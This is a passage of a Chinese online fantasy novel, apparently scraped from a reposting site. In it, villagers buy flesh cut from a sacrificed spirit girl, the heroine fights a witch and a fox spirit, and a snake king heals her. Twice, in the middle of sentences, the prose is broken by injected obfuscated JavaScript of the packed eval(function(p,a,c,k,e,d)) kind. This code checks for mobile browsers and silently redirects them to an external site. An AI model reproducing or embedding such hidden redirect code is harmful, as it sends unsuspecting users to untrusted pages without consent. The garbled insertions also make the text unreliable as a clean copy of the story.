底下的村民们成功被他们的村长这一通巧舌如簧给忽悠得动了心,纷纷附和回应: “就是!肖老三,两万块钱对我们来说是真有难度,但五千块钱我们每家每户凑凑还是能拿出来的。 你五千块钱卖给我们,我们村里每家每户都买,赶在你这肉烂掉前帮你处理掉,你呢不亏本,我们呢,还领你一个人情,这不是两全其美吗?” 肖老三揣着手皱眉不说话。 我抱着怀里的软物冷笑道:“亏我和李大叔之前还想着给他们争取一条生路,这些自私自利的人啊,不配得到我们的怜悯!” 银杏摇头唏嘘道: “人性就是这样,贪婪,狂妄,自私……极少人能抵得住灵物以形补形的诱惑。 就像月阴村的那些人,一样抵不过长生不老的引诱,所以就算知道大祭司是在用尸油供养长生泉,他们也不会追究。 因为他们心虚,因为大祭司做的事对他们有益,因为,大祭司只是在牺牲小部分人的利益来充盈大部分人的利益,而他们恰好,都是受益方。 受害方都已经**,留下来的全是收益方,当多数人觉得这件事,是好事,那它就是好事。” 感慨完,银杏探头与我小声道: “你看那个易村长,是不是觉得他是实在的中间人? 其实不然,偷偷告诉你,早上我爸和我说,易村长根本不像表面那么公正不阿,肖家两口子在孟春寨卖肉,易村长就是中间商! 从去年到现在,一直都是易村长帮忙村里人与肖老三牵线,易村长负责营销,卖肉的一万块钱,有五千都进了易村长腰包。” “一万块钱拿走五千,这是五成啊!他竟然这么贪!”我惊讶不已。 果**不可貌相。 银杏耸耸肩: “意外吧,所以今天这场戏,大概率也是肖老三与易村长唱的双簧,我猜,是因为肉芝的肉离体很快就会腐烂,他们必须得以最快的速度将肉售卖完。 先由肖老三唱白脸故意坐地起价,用一个大家都接受不了的价格来吓唬大家,两万块钱,在咱们这地方可是不少老人半辈子的积蓄。 况且,如果有的家庭人口多,一片肉显然是不够分的,这个价格村里人肯定不乐意。 再由村长出面,把价格打下来,这样以前买一片肉的钱现在可以买四片肉,五千块钱的确家家户户都能拿出来,这数字的落差会让村民们感觉占到便宜了,多数人都是愿意买的。 这样一来,既保证肉不会烂掉亏掉,又能实现他们的利益最大化。这一招呢,就是经典的市场营销手段。 主要是拿捏住了买家群体的心理,你看吧,肖老三很快就会顺坡就下,装作很为难的答应,然后村民们就开始一阵疯抢争着掏钱……” 银杏话还没说完,她预想的那一幕就在我们眼前着急上演了—— 肖老三重重叹口气,佯作为难地挥挥手: “成吧成吧!看在大家都是邻居的份上,老村长又发话了,我就吃点亏,五千块,不能再少了,要的赶紧过来,我趁新鲜给你们切!” 村民们一听肖老三松口,当即争先恐后地蜂拥上去预定…… “我要一块!不、两块!老三你先给我留着,我现在就回家取钱!” “我身上也没带钱啊,先预定、预定!” “我要三块!拿本子记上,记上!” “大家都一个一个来,先到我这边来记名字……” “不行啊,那我先前掏的两万块钱,又算什么!” “嗨,等会给你补上三块不就成了!” 被欲望支配的人们纷纷对供桌上的那块血肉投去贪婪灼热的眸光,朝一块生肉猛吞口水…… 银杏扶额道:“这些人,还有救吗?要不然我们走吧,让他们自取灭亡。” 我心疼地抚了抚怀里那团尚有余温的软肉: “你以为我是来救他们的?肉芝是受到宋淑贞的巫力影响才惊慌失措要破体而出,肉芝如今还没有完全成熟,加上先前我为了把它从嫂子腹中逼出来,用了猛药。 那药损了肉芝的灵气,后来我又为了压制住发狂的肉芝,用阴阳鬼术重伤了肉芝,现在我怀里这团肉芝灵气很弱,肖依依也被削骨剔肉架在了火堆上,她逃不出来。 我要是不把肉芝带过来接她,她是没有力气完成借胎重生的。我是想,救下这个心地善良的灵物。” 银杏哽了哽:“你竟然是来救她的……” 我低头冷笑:“她说得对,凭什么身为灵物就要遭受凡人的觊觎,被人理所应当的伤害,凭什么我们这些人为了村里人的命谴责她、逼她忍耐原谅。 明明她才是受害方,我们这些人类,在面对绝对强势的力量时,口口声声嚷着众生万灵平等,可当我们自己处于强势位置时,却要喊什么弱肉强食,天经地义…… 从来不是孟春寨的人们有多强大厉害,王母肉芝也不是任人宰割的弱势群体,她只是不忍心伤害无辜人类,但这,却也成了人类反过来伤害她的理由。 真正从万灵平等的角度来看,孟春寨这些冥顽不灵的人该死,我们该救的,是肉芝。” 银杏深呼一口气,赞同点头:“对!做错事就要承担后果才是天经地义!我还以为你急着救王母灵女是为了给这些村民求一线生机,他们,不配!” 瞟了眼我怀里的肉芝,银杏伸手想摸摸,但,终究还是没能过得去心里那关,瘪嘴委屈地缩回爪子:“虽然、但是……太恶心了,我好难受!” 搓搓胳膊上的鸡皮疙瘩,银杏叹息道:“我们现在撒手不管转身就走,王母肉芝一死,他们肯定会遭报应,也算是他们自取灭亡,但王母灵女也会白白冤死。她不该死的。” 熊熊烈火的另一端,面目全非的王母灵女看着村民们哄抢自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135690|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉的这一幕,突然大笑出声。 烈火烧上她的腿骨,将她的骨头烤得发黑。 争抢着拿钱预定的村民们听见她的笑声顿时安静了下来。 有男人惊呼:“王母灵女疯了!” 众人瞬间齐刷刷后退十来步。 肖依依抬起猩红的一双眼球,流着血泪,哽咽向肖老三两口子求救:“爸、妈……我是你们的亲女儿啊!你们吃我的肉,不怕折寿吗!” 可肖老三夫妻俩却像是听惯了这些话,**以为常地一人数钱,一人掐腰不耐烦道: “闭嘴吧你,你这些话,我都听烦了!折寿,那就折啊!我告诉你,你老实化成灰,我再把你姐姐肚子里的那团肉弄死,你就彻底完了,想报复我们,没门!” “我是你们的亲骨肉,你从前不是最疼我的吗!” “疼你是因为你老子我身体不行,生不出儿子。我想着养大一个闺女,等你到了谈婚论嫁的年纪,我把你嫁出去,再趁机要一笔彩礼,至少能赚点。 可你现在是肉芝啊,一块肉,够你老子我辛苦大半辈子了!我得卖多少玉米红薯才能挣够五千块啊! 你应该为了能帮到我和你老娘而感到高兴才对,我肖老三一辈子不做赔钱买卖,养你没有钱赚,我还留着你这个赔钱货干嘛?” “爸,你真的不要我了吗?”肖依依沉下目光,嗓音沙哑且沉重,似是在给肖老三最后一个机会。“妈,你也不要我了?” 钱玉兰一门心思只顾着数钱,头都没抬地冷漠道: “现在还说这些干什么?你要是肯老老实实的卖肉,别瞎折腾,我们也不会把你赶尽杀绝,可你竟然敢报复我们,那我们可留不得你了。 你说你这死东西,没事害人身上长肉瘤子干什么,这下可好,肉割下来都不新鲜了,啧,白赔了那么多钱!” 事到如今,他们最关心的,却是肖依依让他们赔钱了…… 人心可畏。 肖依依听罢突然又笑了,只是这回的笑声里,似携着几分释怀。 “你们这些贪婪的人类啊,我就不该对你们抱有任何希望。你们想让我死,那我就先杀了你们!” 肖依依猛地瞪大双眼昂起头,沙哑嗓音顿时变得粗狂且有回声,黏在肩膀上的凌乱长发突然被一阵飓风掀起,发丝张牙舞爪,像极了地狱恶魔的索命环链—— 肖依依双臂用力,活生生挣断了捆绑着自己的粗麻绳,发疯地跃过火海跳下祭台,面目狰狞的一把掐住肖老三脖子,无根森森骨指将肖老三瞬间锁喉拧断脖子…… “**,你们都**!” 眼见着王母灵女发了疯,众人皆是恐慌地四下逃窜。 而肖依依则目标明确地飞身直奔母亲钱玉兰而去:“生身之恩我报了,现在,我要拉你来给我陪葬!” 押住李大叔的村民们也被眼前这场景吓得落荒而逃,李大叔见状忙给我隔空传音:“肉芝**了!鸾镜,把肉芝灵胎立刻解决掉!” 此话一出,我和银杏皆是诧异看向李大叔。 李大叔自己也陡然愣住。 银杏蹙眉生气道:“我爸脑子抽筋了吧,竟然让你解决掉灵胎,灵胎一死,王母灵女这最后一口气用完就要灰飞烟灭了!” 然,没等我们做出反应,许三筒那王八蛋就再次从怀里掏出一把被宋淑贞用巫术加持过的雷击木剑,趁所有人不注意,扬袖扔出长剑,一剑刺穿了王母灵女的后心…… 掐着钱玉兰脖颈的肖依依痛苦拧眉,喷了口血,张嘴吐出支撑她的最后一口灵气…… 膝上一软,无力跪地。 钱玉兰死里逃生捂着脖子一路狂跑狂叫。 许三筒那**见状还不肯放过肖依依,壮着胆子大步迈向前,一把薅住肖依依的头发将少女往火堆里拖—— “妖物,**吧!” “既然你没用,那你的那个分身也别活了!” “大祭司早就做好了万全准备,不能逼你利用分身重生,再囚禁住你,那就让你和你的分身一起化为灰烬!” “废物肉芝,什么灵物,老老实实受死吧!” 瘦骨嶙峋的少女再次被丢进了汹涌烈火,许三筒抬脚就往少女心窝踹:“让你反抗!让你逃跑!” 滚烫的火焰烧焦了少女的长发,少女立时痛苦惨叫出声。 第73章 谁让你伤她脸的! “我知道,普通的火烧不死你,我有巫火!你等着化成灰吧!” 许三筒咬牙切齿地说完,从怀里摸出一张巫符。 我看不下去的赶忙抱着肉芝,三步并两步地着急迈到少女身前,抢在许三筒念完咒出手的前一秒一掌灵力把巫符化成灰烬…… 许三筒愣了愣,正要发怒,昂头见到我,当即秒怂:“宋、鬼师娘娘!” 我一脚踹在许三筒腹部,报复回去,冷声呵斥:“滚!” 许三筒狼狈的摔了个四脚朝天,一屁股跌坐在地上,瞪大双眼死死盯着我,窝囊的瑟瑟后退…… 几秒后,缓过神,狼狈爬起来转身就逃—— 打跑了许三筒,我将怀里的东西递给少女:“快,换到这具肉体来!” 少女瞧着我手里的东西怔了片刻,满目疮痍的苍凉道:“我还以为,你会趁机毁了我的分身……” 我紧张道:“别的话留着以后再说!你赶紧换过来,你现在的身体已经撑不了多久了,再不换你真会死!” 少女哽了哽,伏在地上痛苦紧闭双眼,“好!” 尔后,一道金光飞进了我拎着的那团肉里…… 片刻,被我裹在衣物里的活肉猛地撑破布料,纵身一跃飞向半空,于昏沉天光下化成一名身穿黄色广袖银花裙、长发如瀑倾泻肩后,头戴两枚碧玉簪的俏丽仙女。 仙女粉面桃腮,杏眼红唇,满血复活的飞身便朝那些哄散逃跑的村民追过去:“你们、都该死!” 李大叔着急行至我身畔,一句话还没说出口,迎面便又是一阵妖风席卷而来。 “宋鸾镜!你屡次坏本圣女好事,本圣女要你死!” 我抬掌强行震散扑面袭来的万千枯黄落叶,视线落在那名身穿宝蓝绣海棠裹胸、宝相花纹藏蓝绫罗裙,腰系凤凰铃腰链,满头银饰叮当颤动的年轻女人身上—— 宋花枝她竟然亲自来了。 不是说她修炼巫术走火入魔了么,怎么还敢出现? 她目眦欲裂的癫狂出掌向我击来,我抬起双臂运用灵力飞身后退,脚尖一点,轻易地拔地飞起躲开了她的攻击。 双脚重新落地,我才留意到风袭残叶的另一头,站着一名身穿柳绿长袍,灰瞳墨发,身形瘦高的男人…… 男人身后跟着几十条灰白二色的狐狸,此时俱是弓起脊背乍着狐尾,呲牙咧嘴地前爪刨地,一双双狐眼杀气腾腾的盯着我,作随时准备攻击状! 难怪宋花枝今天这么有底气,原来是灰狐仙来给她撑腰了! 远处的死狐狸在与我四目相对后,唇角勾起一抹讥讽的弧度,抬了抬下巴,眼神挑衅,慢吞吞地抬手,故意当着我的面打了个响指—— 刚满血复活的王母灵女瞬间被一道法力禁锢,变回一团肉,狠狠摔在地上。 我惊愕地看着这一切,李大叔从腰后抽出烟杆,沉声提醒我: “来者不善,你对付宋花枝,我和银杏对付灰狐仙,记住,千万不要对宋花枝手下留情!” “好!”我点头听从他的安排。 刚扑了个空的宋花枝不死心地继续扭头朝我反扑而来,远处的死灰狐仙也潇洒抬手,一个手势,数十只母狐得到命令,齐齐撒腿奔向我们。 我与李大叔父女俩分工明确的分头行动,李大叔抄起烟杆,身形敏捷的越过狐群,专心对付操纵母狐的灰狐仙。 银杏则从腰间乾坤袋里抽出蛟骨鞭,一鞭甩出,狂奔过来的母狐被打退一半。 “宋鸾镜,受死吧!”宋花枝用巫术召唤出圣女法器凤凰杵,一铁杵脱手而出打过来,差点砸到我面门! 我蹙眉拂袖及时躲闪开,招式利落地伸手一把握住与我擦面而过的玄铁法器。 宋花枝趁机用巫术驱动法器顶端的莲花绽放,片片莲花宛若万千利刃,瞬间乍开,花盏极速旋转飞出凤凰杵,凶悍地划向我脖颈,大有一种不见血绝不收刃的阵势。 可她终究还是忘记了,阴苗族圣女,不止她一个! 我握着凤凰杵旋身躲了玄铁莲花两圈,被它纠缠烦了,便索性用灵力将玄铁凤凰杵身上浮雕的那只灵凤引了出来—— 墨红色的凤鸟顷刻飞出禁锢它的神杵,庞大身躯由虚化实,振翅便朝极速旋转在空中的莲花飞去。 凤鸟一声悦耳长鸣,张嘴就衔住了那朵削铁如泥的嗜血神莲。 紧接着又在我的灵力驱使下,乖乖衔着莲花飞入法器中。 宋花枝不死心地还要驱动灵力支配凤凰,但任凭她如何作法召唤,凤凰杵上的凤鸟都无动于衷。 “怎么会这样……母亲明明说、这法器只会听我的话。”宋花枝气急败坏的恼怒道。 我攥着凤凰杵冷漠道:“凤凰杵是圣女的本命法器,你别忘了,我也是圣女!” 圣女法器凤凰杵当然不会伤害圣女。 “你也是圣女……” 宋花枝接受不了的恼红双眼,跺脚愤恨大叫: “啊——凭什么!凭什么你也配做圣女!不可能,阴苗族的圣女只有我一个,只有我一个!宋鸾镜,我要你的命!” 她发狂地用巫术强行将凤凰杵收回去,拼命念咒施法,用尽全力来攻击我。 我绕腕凝聚灵力,接住她的攻击,出手时两股灵力于眼前三米处猝然相撞,瞬间强大的气流擦地迸发向左右两侧,生生撞倒了躲在附近还没走,壮着胆子凑热闹的几个村民…… 不过与她交手我才发觉,宋花枝的巫力现如今确实很弱。 走火入魔后的她根本不是我的对手! 我猛地加重手上力量,立时就将宋花枝震得飞退数十步…… 不远处的银杏与李大叔还在与狐群及灰狐仙搏斗,我想起李大叔嘱咐的那句不要手下留情,立刻会意的乘胜追击—— 打伤宋花枝就会令灰狐仙分神,敌人一旦自乱阵脚,就容易对付了! 我二话没说一个瞬间挪移冲到宋花枝跟前,接连出招逼得宋花枝措手不及。 宋花枝被我打得连连退步,急眼地咬紧牙关从腰后抽出一把淬了毒的短刀,“我和你拼了!” 奈何刀刃还没伤到我,便被我周身的灵力给硬挡了回去—— 我趁她失神,双手熟练结印,引法术猛然出掌,给她致命一击。 她来不及回神便被我一掌击中心肺,痛苦皱眉,张口喷出一股血沫。 紧接着又被我掌心法力携带的强大气流给撞飞了出去,窝囊地砸落在十米开外的荒草地上…… 而她手里的刀刃也在她重伤飞起来时不小心脱手而出,被灵力气流裹缠着在半空中翻了好几圈。 随着宋花枝的摔落,刀刃也寒光凌厉地紧跟着插在宋花枝手边的草地里。 只是刀刃在擦过宋花枝面颊的过程中,不小心在宋花枝的面皮上剌出了一道七八公分长的血口子…… 等宋花枝趴在地上反应过来,那血口子已经溢出了大片黑血。 “啊——我的脸!”宋花枝抬起双手,指尖哆嗦着抚摸自己受损的脸蛋,崩溃失声大哭。 “血,有毒,我的脸……狐仙大人、救救我的脸啊……” 宋花枝接受不了地哭着向灰狐仙求救。 远处正将李大叔逼得节节败退的灰狐仙闻声一晃眼就瞬移到了宋花枝身边,单膝跪地扶住宋花枝胳膊:“你的脸怎、” 剩下的话还没问出口,他就清晰瞧见宋花枝缓缓抬起的容颜上,多了一道骇人伤痕。 伤口内溢出的鲜血染黑了宋花枝半张脸,且划破的皮肉深处,还在往外渗着丝丝黑气,早早有了要溃烂的趋势…… 灰狐仙深沉的眸眼霎时阴冷万分,恼火地扭头看我,眼尾猩红,额角青筋突突直跳, “谁让你伤她脸的?!宋鸾镜,本王是不是给你脸了,你敢伤她的脸,本王杀了你!” 话音刚落,一道强悍法力顷刻击穿我的神魂,将我穿体而过,法力余波生生斩断了我背后一棵百年老槐树。 大脑迟钝了几秒才接收到身体受损的讯号,剧烈的疼痛刹那传遍全身筋脉,心脏像是由内而外爆裂了开,痛得我头皮发紧,脑壳发麻。 满脑子里只萦绕着一个字…… 疼! 身子一软,跌落下去。 李大叔脸色一白,一个“鸾”字刚喊完,我轻盈的身体就被一条有力的臂膀收紧,箍住,代入怀中…… 重新倒进那个萦着浅浅花香的温暖怀抱,我枕着他胸口有力的心跳,下意识伸手抓他衣物:“阿漓、好疼……” 他没回应我,大手却先一步凝聚银光缭绕的灵力为我疗伤,驱散痛意。 片刻,我裂成数瓣的心脏便在他的呵护下,重新愈合。 体内那股痛到极致的撕裂感也缓缓减轻、消失…… 不到半分钟,我就不疼了。 只是身体终归还是受了损,这会子 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话音落,谢妄楼猛地施法运功放大招,一阵飓风袭面而过,掀得他衣袖裙摆翻飞。 强大的气流在他周身凝出一层薄薄的血雾结界,男人身后骤然炸开五条青色狐尾,每一条都足有三米长,壮年汉子两条手臂那么粗。 蓬松的青**狐尾灵活地在男人身后肆意招摇摆动,灰狐仙忽然昂头,灰青人眸一霎化成了狐狸的暗青竖瞳。 龇嘴露出两颗尖锐兽牙,双手凝聚凶悍法力,一掌推出汹涌风浪,飞身直奔青漓杀来—— 搞这么大的阵仗,着实吓到了我。 我连忙把头埋进青漓胸膛,不敢看后面的一幕幕。 但,片刻后,青漓竟游刃有余的单手便轻易接住了谢妄楼的所有招式! 他甚至,怀里还抱了个我,应对谢妄楼的招招直冲要害眉头都没皱一下! 狐尾卷起的气流扫得我头上花簪银步摇叮叮作响,缠在指尖的温柔月华也被拂得凌乱。 过了几秒,我壮着胆子扭头直视被青漓打退无数次又反扑过来的急眼狐狸…… 彼时他已被青漓的招式给耗损了大半体力,累得满头大汗。 我缩在青漓怀里默默吞了口口水,他的本事,好像也就这样? 双手加五条尾巴都干不过青漓一只手,难怪就算再看青漓不爽,见了青漓也得不情不愿恭恭敬敬地尊称一声蛇尊。 青漓分神扫了我一眼,可能是不想在我面前丢份,突然祭出大招,打得谢妄楼猝不及防就被震出原形,狼狈跌落在十米开外的荒草地上,咔咔吐血。 “狐王!” 宋花枝见自己的后台败下阵了,踉跄站起身想要去关心谢妄楼,但走了两步,又忽然回头看向青漓,害怕心虚地猛吞了口血沫,没骨气地懦弱往旁边退: “不是我、别杀我!是、灰狐仙,是灰狐大仙指使我这么做的,你要杀就杀他,我和他没、没关系!” 说完,宋花枝扭头便没心没肺的自己先仓皇逃了。 而亲眼看着宋花枝背叛他,紧要关头狠心丢下他,一人跑路的谢妄楼这会子脸上青一阵红一阵,像开了染坊似的…… “**!”谢妄楼咬牙,攥紧狐狸爪子狠狠往地上砸了拳。 青漓居高临下的清冷睥睨着连人形都维持不住的青尾灰狐,厌恶道: “看在你曾受正神点化过的份上,本尊留你一条贱命!再有下次,本尊剥了你的狐狸皮!” 化成狐狸模样的谢妄楼虚弱趴在地上不服气冷笑:“本王早就说过,你不敢杀本王……不过,从今天开始,你们也别想安生过日子!” “你想惹事,大可试试。”青漓懒得同他废话,搂着我的腰,准备带我离开。 可就在我二人转身那一刻,灰**狐狸倏然又身上红光一扫,变回人形,动作极快地摊手祭出那颗仙气腾腾、泛着五色华光的灵珠—— “蛇王,当心珠子!”李大叔着急喊道。 灵珠脱手飞出,谢妄楼笑得面目狰狞,眼神阴暗:“臭长虫,**吧!” 我听到李大叔的嘶声提醒,脑子尚未反应过来,人已经抢先一步旋身挡在了青漓背后…… “阿鸾!” 等青漓抓住我的手腕将我扔回去的时候,那珠子已经打进了我的心口…… 第74章 成功从食物混成了宠物 不过,令我没料到的是,那珠子刚撞进我的胸膛,就抽了筋似地自个儿慌促退了回去…… 没再继续伤害我。 尽管如此,我还是被珠子的灵光撞得心脏猛一颤,喉头一阵热流灼烫。 “鸾鸾。”青漓紧张地从后抱住我,我按着心口,强压下想吐血的冲动。 心脏一抽一抽的剧痛。 灵珠愣愣地悬在半空,两秒后,着急地往我跟前凑了凑,在我的视线里飞来飞去。 青漓担心它再伤害我,正欲一掌震落它,可它竟、出乎所有人意料的,主动将自身灵气渡给了我…… 清凉的仙泽丝丝缕缕送进我的口中,顺着我的喉头,流入肺腑。 没过多久,我就感觉到自己的心脏不怎么疼了。 这颗灵珠……竟然在给我疗伤! 我抓紧青漓的胳膊,不解地用眼神询问青漓。 青漓神色凝重的没做声,大抵也没搞懂现在到底是什么情况。 而灵珠的主人谢妄楼这会子却青了老脸,满眼怒意,隔老远都能感受到他的滔天怨气,听见他十根手指攥得咯吱咯吱响。 “蠢货!你在干什么!” 谢妄楼施法要操控灵珠, “老子让你弄死他们没让你发神经给他们渡灵气!杀啊!让他们魂飞魄散灰飞烟灭!” 可血红色的妖力缠上灵珠时,灵珠却一身反骨的周身光芒一熄,原地**咣当掉在了地上。 还滚了两圈。 谢妄楼:“……” 灵珠前脚**,后脚青漓就抬手聚起了灵光萦绕的法力。 谢妄楼见势不好,忙一挥广袖化作红光麻利逃命去了。 临行前还不忘咬牙切齿地威胁灵珠: “蠢蛋!再不走等他把你震成稀巴烂的碎片吗!” 原本**装聋子,失去一身绚丽光华的灵珠闻言,顿时身上五色光一亮,赶忙飞身尾随谢妄楼一道跑了…… 青漓覆手散去掌中灵力,淡漠收回目光,揽着我的腰温声关心:“还疼么?” 我揉了揉仅有几分发抖的胸口,摇头:“不疼,就是闷得慌,喘气难受。” “还需再养养。” 他握住我按在胸口的那只手,眸色染上丝丝心疼: “不许再为本尊犯险,你肉体凡胎,若是伤了,本尊虽有能力保住你,可过程中的苦你得受着,被法力所伤的疼痛,你得扛着。 本尊是活了数千年的蛇王,修为高深,神界灵物即便能伤到本尊,也不至于危及本尊的性命,本尊也很快便会痊愈。 你是凡人,自愈能力和体质都与本尊相差甚多,实在没必要替本尊遭这个多余罪。” “这哪能叫多余罪呢?” 我揉着似塞了团棉花的胸口,仗义地拍拍他肩膀: “我记得,你怕疼。我不怕疼,我可皮实了! 从小到大我经常把自己搞得满身是伤,我皮厚,感受不到多少疼痛。 伤落在我身上,我能扛得过去! 倒是你,虽说可能会伤得比我轻,痊愈速度比我快,但我知道,在怕疼之人的世界里,一丢丢小伤的痛感都会被放大无数倍。 我这种皮实人都疼的伤,对你来说肯定更痛苦难受…… 我疼个一天半天就过去了,总好过你疼得夜夜睡不着觉。 再说,我受伤还有你帮我疗伤,你受伤,凭我这三脚猫的法力,根本帮不上你些什么。 所以,你不用觉得心里过意不去,咱俩有些方面互补,是件好事。 就这样说定了,往后再打架,我负责给你抗伤害,你负责帮我回血就成!” “你,还记得我之前说的话……”他微讶,怔怔凝视我。 我一本正经:“当然记得,这才过去几天啊,我记忆力没那么差。” 何况,他当初和我说的那个原因……令我每每想起,心头都一片酸涩。 千刀万剐,剁碎了全身的蛇骨,那该多疼啊…… 以至于我现在下意识就想在有危险时,护着他。 我果然还是共情能力太强了。 “比起疼痛……本尊更不希望,你被伤害。”他突然启唇沉吟。 我愣了下,内心深处的某个地方,不自觉溢出暖流。 “你俩腻不腻啊,刚打完架就在这黏糊。”银杏收了蛟骨鞭,同李大叔一起来找我们。 青漓闻言冷了脸,默默将我往怀里环得更紧些,蹙眉反呛:“羡慕的话,你也找个人黏糊。” 银杏唇角一抽,干笑笑:“那还是算了。”挽住李大叔的手臂厚着脸皮撒娇:“我还要多当几年小孩被爸保护呢!” “你啊!”李大叔拿银杏没办法的操心道:“蛇王说得对,你也老大不小了,镜镜比你小一岁都嫁人了……” 银杏不服气地瘪嘴打断: “那不一样!镜镜嫁人那是被逼的,如果不是大祭司与宋花枝欺人太甚,说不定蛇王老爷你还要多打好几年光棍呢!” 青漓嫌弃地用余光扫她:“那本尊还要多谢宋淑贞母女了?” 银杏厚颜无耻地挥挥手,没良心地笑道: “嗨,话也不能这么说,她们不配你谢,要说谢,那也该谢我爸啊!当初可是我爸忽悠镜镜去嫁你的!” 话刚说完,李大叔就尴尬地卖力咳嗽起来,一脸心虚的正儿八经反驳: “什么叫忽悠……我那是好心给她出主意,再说,我给她指的路是嫁阴尸,她自己半道跑路闯进禁地洞府的,和我可没关系!” 这话……我信、个屁。 青漓应该早就清楚了其中缘由,瞟了父女俩一眼,“此事,算本尊欠你们一个人情,来日,本尊会还你们一个恩典。” 欠他们一个人情…… 因为李大叔给他找了老婆?! 要就给?这也太好说话了吧! 银杏听完当即欢喜地跳起来:“好耶!我就说蛇王老爷您一表人才丰神俊朗英俊潇洒翩翩君子,肯定是最仗义的!” 这马屁拍的…… 我抓住机会也不甘落后地扯了扯他袖子:“那我呢?我就没有什么恩典或者礼物,或者其他好处吗?” “本尊为何要给你礼物?”他故作不解。 我豁出去的不要脸道:“我,为了让你有老婆,都把自己贡献了,难道还不配得到蛇王老爷你的恩典吗?” 他挑眉,青眸噙着笑意:“哦?这么说,也有道理。那,先帮本尊生个孩子。” 我:“……” 呸,蹬鼻子上脸! “那我不要了!”我果断放弃。 “怎么?” 我的脑子里突然浮现出先前汪绵绵生孩子的痛苦模样,身下全是血…… 九死一生。 心里发怵地搓搓手臂:“我怕死。” 况且,谁知道和他在一起,会不会怀上一肚子蛇…… 其实如果是一肚子蛇,反而还是最好的结果,万一是一肚子半蛇半人……那不得要我老命。 我不怕疼是真的,怕死也是真的。 他抬手轻轻擦拭去我额角的冷汗,眉心微拧,目光深深地瞧了我良久,干脆改口:“怕就不生了,本尊养你一个就挺好。” 我顿时诧异昂头,傻傻瞧着他。 他刚才说,养我? 我终于从食物混成宠物了?! 趁我走神,他抬手没礼貌地敲了下我脑门子。 “肉芝呢?” 李大叔拎起一个麻袋:“在里面。” 银杏忽然着急提醒:“对了蛇王老爷,我刚才看见许三筒跑路的时候,顺手摸走了供桌上的一份肉芝肉!” “无妨,那东西离体后很快就会腐臭,效果也会大打折扣。他带回去,谁吃了谁难受。” 青漓说完,我放心地点点头。 宋淑贞耗了这么大的劲,折腾了一圈,不就是为了得到肉芝,好给宋花枝增加修为么…… 可惜,现在宋花枝只有跑肚蹲坑的份了。 还有她的那张脸,不晓得宋淑贞会想出什么法子给她治。 …… 一个小时后,得知消息的阿乞带着赵大哥一家三口下了山。 在赵家与我们成功碰面。 先时被许三筒放火烧得面目全非的温馨小院子也在青漓的大发善心下,被法术恢复成原样。 李大叔吸了口浓烟,望着宁静的小家,失落感慨:“这地方,大伢子怕是住不了多久了。” 我和银杏相视一眼,皆是心生不忍。 是啊,从前赵大哥在这里落脚,是因为嫂子在。 以后嫂子不在了…… 不知赵大哥带着孩子,又会何去何从。 阿乞再次见到青漓,眼中一喜:“帝……” 但碍于此刻青漓处于隐身状态,阿乞又僵硬地将嗓中话咽了回去。 只乖乖揣手往青漓身边站了站。 现在才发现,这家伙还挺粘青漓的! 赵大哥将虚弱的汪绵绵与孩子送去卧房休息,又体贴地给汪绵绵冲了一茶缸红糖鸡蛋水,趁着汪绵绵进食的功夫,来院子和我们说话。 短短半日,赵大哥竟仿佛苍老了二十岁,一双眼眶青黑,面色疲惫憔悴,染血的衣服还来不及更换,血水在他的白衬衫上洇开大片梅花。 “绵绵现在精神格外好……看见孩子,脑子也清醒了。先前在庙里休养,她还陪我给女儿取了个好听的名字,叫珊瑚……” 明明该是高兴的话,可赵大哥的语气却格外压抑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141988|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍凉,表情痛苦的抬手揉了揉潮湿双眼,哀然问道:“李叔,鸾妹,你们告诉我,是不是回光返照?” 我和李大叔一时也不知该怎么开口安慰他才好。 真相,注定是残忍的…… 院子里沉默良久,答案也早在所有人的缄默中不言而喻了。 赵大哥揉着双眼别过脸,偷偷抹了好几把眼泪,可最终还是克制不住的捂脸痛哭呜咽出声。 嗓音沉闷,哭得上气不接下气,浑身颤抖。 又怕哭声太大被屋内的妻子听见,只能在最崩溃的时候死死捂住嘴巴,拼命将伤悲咽回腹中,独自消化。 院墙外的槐花随风簌簌飘进小院,不消片刻,雪白轻盈的花瓣便铺满了整个院落…… 李大叔重重叹口气,抬手拍了拍赵大哥肩膀,沉声转告:“王母灵女要见她,晚上,安排个时间吧。还有……” 李大叔欲言又止地张了张嘴,隔了半晌,才哽着嗓子说下去:“给媳妇早做准备吧,也就是明天一早的事。” 赵大哥怎会听不懂李大叔的意思,捂嘴抽泣得更加厉害了。 阿乞好奇从青漓背后探出头:“王母灵女还活着?她现在在哪?” 银杏用眼神示意他看李大叔腰后别着的那个麻袋包: “呐,变回原形了,也不晓得还能不能活下去。 这王母肉芝可真是命运多舛,好不容易借胎重生了,谁能料到宋淑贞竟然在给嫂子吃的药里动手脚,害得她肉胎身上也携着禁制法术。 今天好险,差一点它就被那条灰狐狸抢走了,幸好我眼尖,一鞭子抽跑了想衔走它的母狐狸,我爸又及时出手将它护在了身后,不然它就真要被宋花枝她们吃了! 不过接二连三的重创令它现在十分虚弱,已经出现元神魂魄进不去肉身的情况了…… 我爸说,如果她执意要报复孟春寨的村民,可能、报复完,自己的小命也要到头了…… 哎,都是这些人的贪心造得孽啊!难怪现在天地间的灵物越来越少了。” 我看了眼李大叔身后那一动不动的小麻袋,心底一时五味杂陈。 我们都没资格要求她原谅,可我们又希望,她能活下来。 再见汪绵绵一面,或许也是她这个将死的妹妹最后的心愿…… …… 